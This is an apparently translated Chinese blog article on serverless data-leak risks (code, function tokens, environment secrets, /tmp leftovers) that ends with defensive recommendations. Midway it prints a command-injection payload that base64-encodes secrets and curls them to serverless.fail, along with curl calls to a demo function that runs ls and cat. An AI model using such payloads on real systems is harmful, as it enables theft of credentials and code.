深入考察無服務(wù)器架構(gòu)的安全威脅,敏感數(shù)據(jù)泄露
我們都聽說過重大的數(shù)據(jù)泄露事件,比如最近的數(shù)據(jù)泄露——5000萬Facebook用戶數(shù)據(jù)遭到泄露。雖然隱私受到損害的通常是最終用戶,但公司的成本也是非常高昂的。在極端情況下,數(shù)據(jù)泄露甚至可能導(dǎo)致公司關(guān)門大吉。
這方面最好的一個(gè)例子就是Code Spaces,一家前SaaS提供商,可以通過Amazon Elastic Compute Cloud的控制面板進(jìn)行訪問。黑客“……刪除了所有EBS快照、S3存儲(chǔ)桶、所有AMI、許多EBS實(shí)例和多個(gè)機(jī)器實(shí)例”,最終導(dǎo)致了這家基于AWS的公司的倒閉。
如果您自認(rèn)為“嗯,這些我都知道。但是,對(duì)于無服務(wù)器架構(gòu)來說,我最想知道事情到底有哪些不同呢?”,好吧,這說明你真是來對(duì)了地方。
實(shí)際上,針對(duì)Code Spaces的攻擊事件發(fā)生在2014年,那時(shí),“無服務(wù)器”的概念還沒有出現(xiàn)。然而,其中的某些云服務(wù)和資源(例如S3 )卻是當(dāng)今無服務(wù)器解決方案中的基本組成部分。如果在此基礎(chǔ)上再加入幾個(gè)函數(shù),然后重新排列一些字母(我的意思是AMI→IAM,清楚了吧?),并添加一些由三個(gè)字母組成的縮寫(例如EFS、SQS、SES等),那么,它們面臨的風(fēng)險(xiǎn)其實(shí)是一樣的。如果數(shù)據(jù)沒有得到很好的保護(hù),肯定會(huì)面臨巨大的風(fēng)險(xiǎn)。
現(xiàn)在,您可能會(huì)說“那又怎樣,即使面對(duì)同樣的攻擊,但是別忘了,我們還有許多其他的數(shù)據(jù)源”。是的,這句話也有一定的道理。但是,我們現(xiàn)在必須從不同的角度來全盤考慮。
首先,也許是更相似的一個(gè)方面,那就是對(duì)于數(shù)據(jù)的處理。我們必須為靜態(tài)和傳輸中的數(shù)據(jù)提供安全保護(hù)。
我們需要為云存儲(chǔ)、備份或數(shù)據(jù)庫中的敏感數(shù)據(jù)提供加密處理。我們的服務(wù)提供商通常會(huì)提供相應(yīng)的工具,以幫助我們輕松、正確的完成這些任務(wù)。我們可以使用他們提供的KMS/Key Vault來安全地存儲(chǔ)數(shù)據(jù)。此外,我們還要確保資源配置的正確性,這樣就不會(huì)出現(xiàn)大的泄漏事故,至少不會(huì)引起公司倒閉。當(dāng)然,一定要確保不要將密鑰泄漏到代碼存儲(chǔ)庫或任何其他可能最終落入攻擊者手中的地方。
對(duì)于傳輸中的數(shù)據(jù),只需確保所有連接都使用了TLS(當(dāng)我們調(diào)用提供商的服務(wù)時(shí),這些都是其默認(rèn)的設(shè)置)即可。
其次,也是最有趣的部分,那就是我們新的無服務(wù)器運(yùn)行時(shí)環(huán)境中的數(shù)據(jù)。如果我們發(fā)現(xiàn)自己的/etc/passwd和/etc/shadow文件遭受了攻擊,我們會(huì)不會(huì)驚恐萬分?無論是在我們的服務(wù)器中,還是在云中(例如EC2),都是夠嚇人的。不過,在無服務(wù)器架構(gòu)中,世道已經(jīng)變了,這些已經(jīng)不再敏感了。我甚至?xí)紤]把它們直接交給攻擊者,如果他們的態(tài)度好一點(diǎn)的話。事實(shí)上,的確如此。
這是為什么呢?因?yàn)?,這些安全問題現(xiàn)在已經(jīng)是服務(wù)提供商操心的事情了,并且,我們的函數(shù)是在通用環(huán)境中運(yùn)行的。
那么,我們需要保護(hù)的到底是什么呢?這是最重要的問題。其實(shí),答案很簡(jiǎn)單,但對(duì)于不同的提供商來說,保護(hù)對(duì)象可能會(huì)有所不同。
A.我們的代碼
我們可能沒有服務(wù)器,但我們的代碼卻是存儲(chǔ)在云存儲(chǔ)或云存儲(chǔ)庫中的(當(dāng)然,這些都不在我們的職責(zé)范圍內(nèi)),并且,它們是隨函數(shù)的運(yùn)行時(shí)環(huán)境一起提供的。當(dāng)然,具體的存儲(chǔ)位置取決于運(yùn)行時(shí)和供應(yīng)商。
例如:在AWS NodeJS中,您可以在當(dāng)前目錄(./)中找到自己的代碼,同時(shí),還可在GCP中找到自己的Python代碼,這就與AWS上的位置有所不同(/var/task)。這些方面的知識(shí),將留給讀者自己去探索?,F(xiàn)在,請(qǐng)使用以下GCP函數(shù)在任意文件或目錄中運(yùn)行cat和ls命令。
- curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
- curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
B.我們的機(jī)密信息
同樣,這也隨服務(wù)供應(yīng)商的不同而有所不同。但是,如果我們以AWS為例,那么您需要保護(hù)兩部分的機(jī)密信息。第一部分,屬于無法控制,卻又必須面對(duì)的信息,其中包含自己函數(shù)方面的信息,例如其內(nèi)存配置、日志組名稱、版本,等等。但是,最重要的是函數(shù)的令牌(token)。
這些令牌代表著該函數(shù)相對(duì)于該帳戶的權(quán)限。因此,如果該函數(shù)對(duì)帳戶具有為所欲為的權(quán)限的話(大多數(shù)情況下都是這樣),比如掃描數(shù)據(jù)庫或編輯存儲(chǔ)桶這類的權(quán)限的話,那么,它們一旦落入攻擊者的手中,就會(huì)帶來巨大的災(zāi)難。攻擊者甚至不必使用您的函數(shù),只需用他們自己的計(jì)算機(jī)上的令牌,就能運(yùn)行任意的aws cli命令,因?yàn)閍ws配置文件stolen_keys中存放有被盜令牌(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN):
無論我們喜歡與否,這些令牌都是存在的,所以,我們需要確保對(duì)函數(shù)的權(quán)限加以控制,只要能夠滿足完成它們的相應(yīng)操作就可以了,最好多一點(diǎn)都不要給它們。如果函數(shù)需要從S3bucket讀取數(shù)據(jù)的話,務(wù)必確保只賦予該函數(shù)從特定bucket或任何相關(guān)資源讀取數(shù)據(jù)的權(quán)限。
我們要控制的部分是作為環(huán)境變量傳遞給函數(shù)的那些我們自己的機(jī)密信息。它們都應(yīng)該通過同樣的方式訪問;通過代碼或系統(tǒng)進(jìn)程調(diào)用它們。如果它們包含敏感信息,則應(yīng)考慮對(duì)它們進(jìn)行加密保護(hù)。這樣,系統(tǒng)進(jìn)程將無法看到它們的實(shí)際值(請(qǐng)回顧一下env的屏幕截圖)。但是,如果該函數(shù)存在代碼注入漏洞,那么攻擊者則可以直接運(yùn)行讀取其值的代碼。
- ENCRYPTED = os.environ['third_party_api_key']
- DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
C.我們的文件
在無服務(wù)器環(huán)境中,除了/tmp文件夾之外,文件系統(tǒng)都應(yīng)該是只讀的;/tmp文件夾是應(yīng)用程序存放自身文件的位置(如果有的話)。讓我再次使用俺的通靈能力,來指出您現(xiàn)在的想法……無服務(wù)器的環(huán)境是不是臨時(shí)的,所有的文件都被刪除后,該函數(shù)執(zhí)行完其代碼了嗎?嗯,這種想法并非完全錯(cuò)誤,至少對(duì)了一部分,但并非絕對(duì)正確。只有當(dāng)該函數(shù)保持空閑狀態(tài)一段時(shí)間(在AWS上大約為4分鐘)時(shí),該函數(shù)的環(huán)境才會(huì)被完全刪除。但是,如果在該時(shí)間范圍內(nèi)至少被調(diào)用一次,它很可能會(huì)進(jìn)入與以前完全相同的環(huán)境中。當(dāng)然,我們不敢打包票,但在這個(gè)時(shí)間內(nèi),通常會(huì)有一些事件出現(xiàn)。當(dāng)然,這是出于性能的考慮。
如果您的函數(shù)是易受攻擊的,并且使用了包含敏感信息的文件,那么它的數(shù)據(jù)很可能會(huì)被攻擊者所竊取。為了演示其內(nèi)在原理,不妨回顧一下前面給出的兩個(gè)curl命令。實(shí)際上,這兩個(gè)調(diào)用都會(huì)將數(shù)據(jù)(base64編碼)寫入/tmp/b64文件。
如果先運(yùn)行“ls”調(diào)用的話,可以看到/out/b64文件的大小為252字節(jié)。但是,如果先運(yùn)行“cat”調(diào)用,然后再運(yùn)行l(wèi)s命令的話,則會(huì)看到文件大小會(huì)有所不同,它會(huì)變?yōu)?496字節(jié)。這意味著“ls”調(diào)用的輸出結(jié)果顯示的是“cat”調(diào)用的輸出內(nèi)容。當(dāng)然,如果再次運(yùn)行“ls”調(diào)用,看到的數(shù)字將是252,因?yàn)樯弦粋€(gè)調(diào)用是“ls”。
我們什么時(shí)候需要擔(dān)心這個(gè)安全問題呢?如果我們的代碼含有任何類型的代碼注入漏洞,那就要倍加小心了;不管問題出現(xiàn)在進(jìn)程還是表達(dá)式api (例如eval )中,也無論到底是開發(fā)人員本身還是依賴庫造成的,攻擊者都可以訪問和/或修改我們的敏感數(shù)據(jù)。例如,假設(shè)我提供給您的函數(shù)帶有這種漏洞,比方說可以通過json值注入命令。那么,攻擊者只需:
- --data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}'
其中$secret的值可以是“cat main.py”,這樣就可以獲取我們的代碼。其中,“env”,表示從環(huán)境變量中竊取令牌和機(jī)密信息?;蛘撸?ldquo;cat/tmp/leftover.file”,表示在/tmp文件夾下沒有提供安全保護(hù)措施的敏感文件。
我們已經(jīng)試過了,對(duì)吧?上面的命令會(huì)輸出機(jī)密信息,將其編碼為base64形式,并將其發(fā)送到攻擊者指定的位置(例如serverless.fail)?,F(xiàn)在,他們要做的就是破解它,然后大干一場(chǎng)!這樣,您就有機(jī)會(huì)登上新聞?lì)^版了……開個(gè)玩笑。
總而言之,我們?cè)撊绾螒?yīng)對(duì)呢?下面,我們簡(jiǎn)單總結(jié)一下:
- 對(duì)于敏感數(shù)據(jù),除非絕對(duì)必要,否則不要存儲(chǔ)。
- 始終為靜態(tài)和傳輸過程中的敏感數(shù)據(jù)提供嚴(yán)格的保護(hù)措施。盡可能使用基礎(chǔ)架構(gòu)供應(yīng)商提供的加密和密鑰管理服務(wù)來存儲(chǔ)數(shù)據(jù)、機(jī)密信息和環(huán)境變量。· 避免在代碼存儲(chǔ)庫和任何其他共享位置存放密鑰。
- 通過限制函數(shù)的權(quán)限來減小攻擊面。
- 進(jìn)行代碼審查和靜態(tài)分析,以找出代碼中的漏洞。
- 監(jiān)控依賴代碼庫的安全問題,以避免將已知漏洞引入我們自己的應(yīng)用程序。
- 使用完畢后,從/tmp中刪除相關(guān)的敏感文件。